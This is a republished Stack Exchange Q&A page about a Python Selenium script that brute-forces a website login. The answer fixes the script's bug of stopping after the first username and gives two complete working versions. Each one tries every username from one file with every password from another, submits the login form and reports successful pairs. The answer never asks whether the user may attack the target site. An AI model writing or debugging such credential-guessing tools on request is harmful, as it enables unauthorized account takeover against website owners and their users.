You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python-Selenium暴力破解脚本问题:仅遍历首个用户名即终止

Hey there! Let's break down why your script is stopping after the first username—this is a super common gotcha with file objects in Python, so you're not alone here.

The Core Problem

The issue is that file objects can only be iterated over once. When you finish looping through pass_list for your first username, the file pointer moves to the end of the password file. When your outer loop tries to process the second username, the inner for passwd in pass_list loop has nothing left to read, so it skips entirely. That's why your script stops after the first username cycles through all passwords.

Fixes & Improved Code

Let's go over two solid solutions, plus some extra tweaks to make your script more robust.

Solution 1: Read Credentials into Lists Upfront (Recommended)

Instead of working directly with file objects, read all usernames and passwords into lists first. This lets you loop through them as many times as needed without worrying about file pointers.

import time
from selenium import webdriver

# Use `with` statements to auto-close files and avoid resource leaks
with open('usernamelist.txt', 'r') as user_file:
    # Strip removes newlines/extra whitespace from each line
    user_list = [line.strip() for line in user_file]

with open('passwordlist.txt', 'r') as pass_file:
    pass_list = [line.strip() for line in pass_file]

# Initialize your driver (adjust for your browser)
drv = webdriver.Chrome()
target_url = "your-target-website-url"

for usernm in user_list:
    drv.get(target_url)
    for passwd in pass_list:
        # Locate input fields
        username_field = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[1]/input")
        password_field = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[2]/input")
        
        # Clear fields first (prevents leftover text from previous attempts)
        username_field.clear()
        username_field.send_keys(usernm)
        password_field.clear()
        password_field.send_keys(passwd)
        
        # Submit the form
        submit_btn = drv.find_element_by_xpath('//*[@id="loginButton"]')
        submit_btn.click()
        
        time.sleep(1)
        
        # Check login status
        current_url = drv.current_url
        if "redirect" in current_url:
            print(f"User {usernm} + Password {passwd} FAILED")
        elif "dashboard" in current_url:
            print(f"User {usernm} + Password {passwd} SUCCEEDED!")
            # Optional: Break loops if you want to stop at the first successful login
            # break
    # Optional: Break outer loop if needed

# Clean up resources
drv.quit()

Solution 2: Reset the Password File Pointer

If you prefer to keep using the file object directly, you can reset its position to the start of the file with seek(0) at the beginning of each username loop:

import time
from selenium import webdriver

user_list = open('usernamelist.txt', 'r')
pass_list = open('passwordlist.txt', 'r')
drv = webdriver.Chrome()
target_url = "your-target-website-url"

for usernm in user_list:
    usernm = usernm.strip()
    drv.get(target_url)
    
    # Reset the password file to the start before each username loop
    pass_list.seek(0)
    
    for passwd in pass_list:
        passwd = passwd.strip()
        # Same login logic as above
        username_field = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[1]/input")
        username_field.clear()
        username_field.send_keys(usernm)
        
        password_field = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[2]/input")
        password_field.clear()
        password_field.send_keys(passwd)
        
        submit_btn = drv.find_element_by_xpath('//*[@id="loginButton"]')
        submit_btn.click()
        
        time.sleep(1)
        
        current_url = drv.current_url
        if "redirect" in current_url:
            print(f"User {usernm} + Password {passwd} FAILED")
        elif "dashboard" in current_url:
            print(f"User {usernm} + Password {passwd} SUCCEEDED!")

# Don't forget to close files and driver
user_list.close()
pass_list.close()
drv.quit()

Extra Tips to Avoid Headaches

  • I replaced split() with strip(): split() will split your credential into a list if there are spaces, which is almost never what you want. strip() just cleans up newlines and extra whitespace.
  • Added clear() to input fields: After failed logins, leftover text might stay in the boxes—this ensures you're starting fresh every time.
  • Used f-strings for print statements: They make your output cleaner and easier to read (works in Python 3.6+).

内容的提问来源于stack exchange,提问作者user3483792

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.07 12:08:11